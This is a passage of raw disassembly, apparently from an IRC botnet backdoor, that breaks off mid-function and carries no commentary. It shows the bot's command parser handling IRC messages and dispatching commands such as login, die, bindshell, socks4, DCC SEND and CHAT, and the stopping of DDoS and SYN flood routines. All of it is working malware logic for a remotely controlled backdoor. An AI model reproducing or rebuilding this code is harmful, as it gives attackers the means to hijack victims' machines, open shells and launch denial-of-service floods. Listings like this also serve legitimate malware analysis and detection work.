		pop	ecx
		jnz	short loc_402103
		lea	eax, [ebp+var_E00]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_402103
		push	[ebp+File]	; Source
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_1C]	; Source
		push	edi		; Dest
		call	_strcat
		add	esp, 10h
		mov	edi, 80h

loc_402103:				; CODE XREF: sub_401CC7+400j
					; sub_401CC7+417j
		add	esi, edi
		dec	[ebp+Src]
		jnz	short loc_4020B6
		lea	eax, [ebp+var_C0]
		test	eax, eax
		jz	loc_402085
		cmp	[ebp+File], ebx
		jz	loc_402085
		push	[ebp+Source]	; Str2
		lea	eax, [ebp+var_C0]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40214B
		push	0Fh		; Count
		push	[ebp+File]	; Source
		push	[ebp+Source]	; Dest
		call	_strncpy

loc_402143:				; CODE XREF: sub_401CC7+1C26j
		add	esp, 0Ch
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_40214B:				; CODE XREF: sub_401CC7+46Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402150:				; CODE XREF: sub_401CC7+4AAj
		cmp	[edi], bl
		jz	short loc_402167
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402178

loc_402167:				; CODE XREF: sub_401CC7+48Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402150
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_402178:				; CODE XREF: sub_401CC7+49Ej
		lea	eax, [ebp+var_E00]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	loc_402085
		push	eax		; Str
		call	_strlen
		push	[ebp+File]	; Str
		mov	edi, eax
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_402085
		push	[ebp+Src]
		shl	esi, 7
		push	[ebp+File]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_45EC]
		push	ebx		; int
		push	eax		; int
		push	[ebp+arg_8]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 24h
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_4021E3:				; CODE XREF: sub_401CC7+3D5j
		push	esi		; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402205
		push	esi		; Str2
		push	offset aQuit	; "QUIT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402232

loc_402205:				; CODE XREF: sub_401CC7+52Bj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40220A:				; CODE XREF: sub_401CC7+563j
		cmp	[edi], bl
		jz	short loc_402220
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402275

loc_402220:				; CODE XREF: sub_401CC7+545j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40220A
		mov	esi, dword ptr [ebp+Args]

loc_402232:				; CODE XREF: sub_401CC7+53Cj
		push	esi		; Str2
		push	offset a353	; "353"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4022D6
		push	[ebp+var_80]	; Str2
		push	[ebp+arg_8]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402261
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_402261:				; CODE XREF: sub_401CC7+58Fj
		push	[ebp+var_80]	; Args
		push	offset asc_43FCB4 ; "-"

loc_402269:				; CODE XREF: sub_401CC7+28BDj
					; sub_401CC7+2C3Dj ...
		call	sub_415CB3

loc_40226E:				; CODE XREF: sub_401CC7+1BD2j
		pop	ecx

loc_40226F:				; CODE XREF: sub_401CC7+7C37j
		pop	ecx
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_402275:				; CODE XREF: sub_401CC7+557j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_43FC74 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	dword ptr [ebp+Args] ; Str2
		push	offset aPart_0	; "PART"
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	loc_402085
		lea	eax, [ebp+Dst]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_40207A
; ---------------------------------------------------------------------------

loc_4022D6:				; CODE XREF: sub_401CC7+57Aj
		push	esi		; Str2
		push	offset aPrivmsg	; "PRIVMSG"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402319
		push	esi		; Str2
		push	offset aNotice	; "NOTICE"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402319
		push	esi		; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B16
		cmp	dword_43F088, ebx
		jz	loc_409B16

loc_402319:				; CODE XREF: sub_401CC7+61Ej
					; sub_401CC7+62Fj
		push	esi		; Str2
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4024A9
		push	esi		; Str2
		push	offset aNotice_0 ; "NOTICE"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4024A9
		mov	eax, [ebp+Str2]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+Format], eax

loc_40235C:				; CODE XREF: sub_401CC7+89Ej
					; sub_401CC7+8D4j ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax		; Str2
		push	offset dword_43FD4C ; Str1
		mov	[ebp+arg_8], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402739
		push	dword ptr [ebp+esi+Args] ; Str2
		push	offset aSend	; "SEND"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402600
		cmp	[ebp+var_A8], ebx
		jz	loc_4025D9
		push	[ebp+esi+Format]
		lea	eax, [ebp+var_1B80]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+Str2]
		push	offset aS_0	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_1A7C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_43FD64 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset sub_416D25
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	loc_4025C8

loc_402493:				; CODE XREF: sub_401CC7+7E0j
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_408637
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_402493
; ---------------------------------------------------------------------------

loc_4024A9:				; CODE XREF: sub_401CC7+661j
					; sub_401CC7+676j
		push	esi		; Str2
		push	offset aNotice_1 ; "NOTICE"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4024C1
		mov	[ebp+var_4], 1

loc_4024C1:				; CODE XREF: sub_401CC7+7F1j
		mov	edi, [ebp+Format]
		cmp	edi, ebx
		jz	loc_402085
		push	offset asc_43FD00 ; "#"
		push	edi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4024E5
		cmp	[ebp+var_4], ebx
		jz	short loc_4024F1

loc_4024E5:				; CODE XREF: sub_401CC7+817j
		lea	edi, [ebp+var_C0]
		mov	[ebp+Format], edi

loc_4024F1:				; CODE XREF: sub_401CC7+81Cj
		cmp	[ebp+Str2], ebx
		jz	loc_402085
		inc	[ebp+Str2]
		jz	short loc_40253B
		cmp	[ebp+Source], ebx
		jz	short loc_40253B
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+Str1]
		push	[ebp+Str2]	; Str2
		push	eax		; Str1
		call	_strncmp
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax
		jmp	short loc_402541
; ---------------------------------------------------------------------------

loc_40253B:				; CODE XREF: sub_401CC7+83Cj
					; sub_401CC7+841j
		mov	eax, [ebp+var_A4]

loc_402541:				; CODE XREF: sub_401CC7+872j
		shl	eax, 2
		mov	[ebp+arg_8], eax
		mov	esi, [ebp+eax+var_90]
		cmp	esi, ebx
		jz	loc_402085
		push	esi		; Str2
		push	offset dword_43FD04 ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40235C
		cmp	byte ptr [edi],	23h
		jz	short loc_40258C
		mov	eax, dword_4E2F8C
		mov	eax, off_43F15C[eax*4]
		cmp	[eax], bl
		jz	short loc_40258C
		push	eax
		push	edi
		push	offset dword_43FD10
		jmp	loc_40207A
; ---------------------------------------------------------------------------

loc_40258C:				; CODE XREF: sub_401CC7+8A7j
					; sub_401CC7+8B7j
		push	esi		; Str2
		push	offset dword_43FD2C ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40235C
		mov	eax, [ebp+arg_8]
		mov	eax, dword ptr [ebp+eax+Args]
		cmp	eax, ebx
		jz	loc_40235C
		cmp	byte ptr [edi],	23h
		jz	loc_40235C
		push	eax
		push	edi
		push	offset dword_43FD34
		jmp	loc_40207A
; ---------------------------------------------------------------------------

loc_4025C8:				; CODE XREF: sub_401CC7+7C6j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43FD94
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_4025D9:				; CODE XREF: sub_401CC7+6E7j
		lea	eax, [ebp+var_C0]
		push	eax
		push	[ebp+esi+Format]
		push	offset asc_43FDD0 ; "-"

loc_4025EC:				; CODE XREF: sub_401CC7+7EF1j
					; sub_401CC7+7F58j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_408637
; ---------------------------------------------------------------------------

loc_402600:				; CODE XREF: sub_401CC7+6DBj
		push	dword ptr [ebp+esi+Args] ; Str2
		push	offset aChat	; "CHAT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40274F
		cmp	[ebp+var_A8], ebx
		jz	loc_402728
		push	1Bh
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jnz	loc_402717
		push	[ebp+esi+Str2]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_2990]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_43FE20 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Bh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset sub_4167BF
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_402706

loc_4026F0:				; CODE XREF: sub_401CC7+A3Dj
		cmp	[ebp+var_2900],	ebx
		jnz	loc_408637
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4026F0
; ---------------------------------------------------------------------------

loc_402706:				; CODE XREF: sub_401CC7+A27j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43FE40
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_402717:				; CODE XREF: sub_401CC7+96Aj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_43FE78
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_402728:				; CODE XREF: sub_401CC7+95Aj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_43FEA8
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_402739:				; CODE XREF: sub_401CC7+6C0j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_43F094
		mov	[edi], ecx
		jnz	loc_402085

loc_40274F:				; CODE XREF: sub_401CC7+94Ej
		mov	edi, [edi]
		push	edi		; Str2
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B1E
		push	edi		; Str2
		push	offset asc_43FEE4 ; "l"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B1E
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4027A0
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_3	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B16

loc_4027A0:				; CODE XREF: sub_401CC7+ABDj
		cmp	[ebp+arg_28], ebx
		jnz	loc_409B16
		xor	edi, edi
		cmp	dword_43F494, ebx
		jle	loc_402955
		mov	[ebp+arg_20], offset dword_455298

loc_4027BE:				; CODE XREF: sub_401CC7+B16j
		push	[ebp+arg_8]	; Str2
		push	[ebp+arg_20]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4027E4
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_43F494
		jl	short loc_4027BE
		jmp	loc_402955
; ---------------------------------------------------------------------------

loc_4027E4:				; CODE XREF: sub_401CC7+B06j
		push	offset asc_440034 ; " :"
		push	[ebp+Src]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_402085
		mov	cl, byte_43F094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_43F094
		mov	[eax+3], cl
		lea	ecx, dword_4552B0[edi]
		push	9Fh		; Count
		add	eax, 4
		push	ecx		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax

loc_402839:				; CODE XREF: sub_401CC7+C23j
		push	[ebp+arg_8]
		lea	eax, [ebp+SubStr]
		push	offset aD	; "$%d-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_4028A5
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_4028A5
		lea	eax, dword_455298[edi]
		push	eax		; Str
		call	_strlen
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4028E0
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4] ; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4028E0
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C07
		add	esp, 0Ch
		jmp	short loc_4028E0
; ---------------------------------------------------------------------------

loc_4028A5:				; CODE XREF: sub_401CC7+B9Aj
					; sub_401CC7+BA1j
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_4028E0
		lea	eax, [ebp+SubStr]
		push	2		; Count
		push	eax		; Source
		lea	eax, [ebp+var_94]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C07
		add	esp, 18h

loc_4028E0:				; CODE XREF: sub_401CC7+BB3j
					; sub_401CC7+BC7j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_402839
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax

loc_4028FD:				; CODE XREF: sub_401CC7+C82j
		push	[ebp+arg_8]
		lea	eax, [ebp+SubStr]
		push	offset aD_0	; "$%d"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_402940
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402940
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C07
		add	esp, 0Ch

loc_402940:				; CODE XREF: sub_401CC7+C5Ej
					; sub_401CC7+C64j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_4028FD
		mov	[ebp+var_2C4], 1

loc_402955:				; CODE XREF: sub_401CC7+AEAj
					; sub_401CC7+B18j
		mov	eax, [ebp+esi+var_90]
		mov	al, [eax]
		cmp	al, byte_43F094
		jz	short loc_402972
		cmp	[ebp+var_2C4], ebx
		jz	loc_402B67

loc_402972:				; CODE XREF: sub_401CC7+C9Dj
		push	[ebp+Source]	; Source
		mov	edi, [ebp+Src]
		push	offset aMe	; "$me"
		push	edi		; Src
		call	sub_418C07
		lea	eax, [ebp+var_C0]
		push	eax		; Source
		push	offset aUser	; "$user"
		push	edi		; Src
		call	sub_418C07
		push	[ebp+Format]	; Source
		push	offset aChan	; "$chan"
		push	edi		; Src
		call	sub_418C07
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40B44F
		push	eax		; Source
		push	offset aRndnick	; "$rndnick"
		push	edi		; Src
		call	sub_418C07
		add	esp, 40h
		push	[ebp+arg_14]	; Source
		push	offset aServer	; "$server"
		push	edi		; Src
		call	sub_418C07
		mov	edi, offset aChr ; "$chr("
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h

loc_4029E4:				; CODE XREF: sub_401CC7+E19j
		test	eax, eax
		jz	loc_402AE5
		push	offset aChr_0	; "$chr("
		push	[ebp+Src]	; Str
		call	_strstr
		mov	[ebp+Source], eax
		add	eax, 5
		push	4		; Count
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+SubStr]
		push	offset asc_44007C ; ")"
		push	eax		; Str
		call	_strtok
		add	esp, 1Ch
		cmp	[ebp+SubStr], 30h
		jl	short loc_402A34
		cmp	[ebp+SubStr], 39h
		jle	short loc_402A4A

loc_402A34:				; CODE XREF: sub_401CC7+D62j
		push	3		; Count
		lea	eax, [ebp+SubStr]
		push	offset a63	; "63"
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_402A4A:				; CODE XREF: sub_401CC7+D6Bj
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	short loc_402A70
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402A84
; ---------------------------------------------------------------------------

loc_402A70:				; CODE XREF: sub_401CC7+D92j
		call	_rand
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402A84:				; CODE XREF: sub_401CC7+DA7j
		lea	eax, [ebp+SubStr]
		mov	[ebp+var_93], bl
		push	eax		; Str
		call	_strlen
		mov	[ebp+arg_8], eax
		push	0Ch		; Size
		lea	eax, [ebp+SubStr]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax		; Count
		lea	eax, [ebp+SubStr]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_94]
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_418C07
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 30h
		jmp	loc_4029E4
; ---------------------------------------------------------------------------

loc_402AE5:				; CODE XREF: sub_401CC7+D1Fj
		mov	edi, 1FFh
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_4AF0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_4AF0]
		push	offset asc_440084 ; " "
		push	eax		; Str
		call	_strtok
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+Args]
		mov	[ebp+Source], 1Fh

loc_402B35:				; CODE XREF: sub_401CC7+E83j
		push	offset asc_440088 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+Source]
		pop	ecx
		jnz	short loc_402B35
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_402085
		add	ecx, 3
		mov	[eax], ecx

loc_402B67:				; CODE XREF: sub_401CC7+CA5j
		mov	edi, [ebp+esi+var_90]
		push	edi		; Str2
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AC4
		push	edi		; Str2
		push	offset aRn	; "rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AC4
		push	edi		; Str2
		push	offset aDie	; "die"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404BE7
		push	edi		; Str2
		push	offset aD_1	; "d"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404BE7
		push	edi		; Str2
		push	offset aLogout	; "logout"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B3F
		push	edi		; Str2
		push	offset aLo	; "lo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B3F
		push	edi		; Str2
		push	offset aVersion	; "version"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B30
		push	edi		; Str2
		push	offset aVer	; "ver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B30
		push	edi		; Str2
		push	offset aDedication ; "dedication"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B26
		push	edi		; Str2
		push	offset aDed	; "ded"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B26
		push	edi		; Str2
		push	offset aSpeedtest ; "speedtest"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B0D
		push	edi		; Str2
		push	offset aSt	; "st"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404B0D
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A0F
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A0F
		push	edi		; Str2
		push	offset aUnsecure ; "unsecure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A0F
		push	edi		; Str2
		push	offset aUnsec	; "unsec"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A0F
		push	edi		; Str2
		push	offset aBindshell ; "bindshell"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404909
		push	edi		; Str2
		push	offset aBd	; "bd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404909
		push	edi		; Str2
		push	offset aBindshellstop ;	"bindshellstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D2B
		push	dword ptr [ebp+esi+Args] ; Str
		push	6		; int
		push	offset aServer_0 ; "Server"
		push	offset dword_440394 ; int

loc_402D0F:				; CODE XREF: sub_401CC7+10B2j
					; sub_401CC7+10D8j ...
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		call	sub_40B9E4
		add	esp, 20h
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_402D2B:				; CODE XREF: sub_401CC7+1033j
		push	edi		; Str2
		push	offset aSocks4	; "socks4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E7
		push	edi		; Str2
		push	offset aS4	; "s4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E7
		push	edi		; Str2
		push	offset aSocks4stop ; "socks4stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D7B
		push	dword ptr [ebp+esi+Args]
		push	19h
		push	offset aServer_1 ; "Server"
		push	offset dword_44042C
		jmp	short loc_402D0F
; ---------------------------------------------------------------------------

loc_402D7B:				; CODE XREF: sub_401CC7+109Dj
		push	edi		; Str2
		push	offset aRloginstop ; "rloginstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DA4
		push	dword ptr [ebp+esi+Args]
		push	9
		push	offset aServer_2 ; "Server"
		push	offset dword_440450
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402DA4:				; CODE XREF: sub_401CC7+10C3j
		push	edi		; Str2
		push	offset aHttpstop ; "httpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DCD
		push	dword ptr [ebp+esi+Args]
		push	3
		push	offset aServer_3 ; "Server"
		push	offset dword_440474
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402DCD:				; CODE XREF: sub_401CC7+10ECj
		push	edi		; Str2
		push	offset aLogstop	; "logstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DF6
		push	dword ptr [ebp+esi+Args]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_440498
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402DF6:				; CODE XREF: sub_401CC7+1115j
		push	edi		; Str2
		push	offset aRedirectstop ; "redirectstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E1F
		push	dword ptr [ebp+esi+Args]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_4404C4
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402E1F:				; CODE XREF: sub_401CC7+113Ej
		push	edi		; Str2
		push	offset aDdos_stop ; "ddos.stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E48
		push	dword ptr [ebp+esi+Args]
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_4404EC
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_402E48:				; CODE XREF: sub_401CC7+1167j
		push	edi		; Str2
		push	offset aSynstop	; "synstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E71
		push	dword ptr [ebp+esi+Args]
		push	0Eh
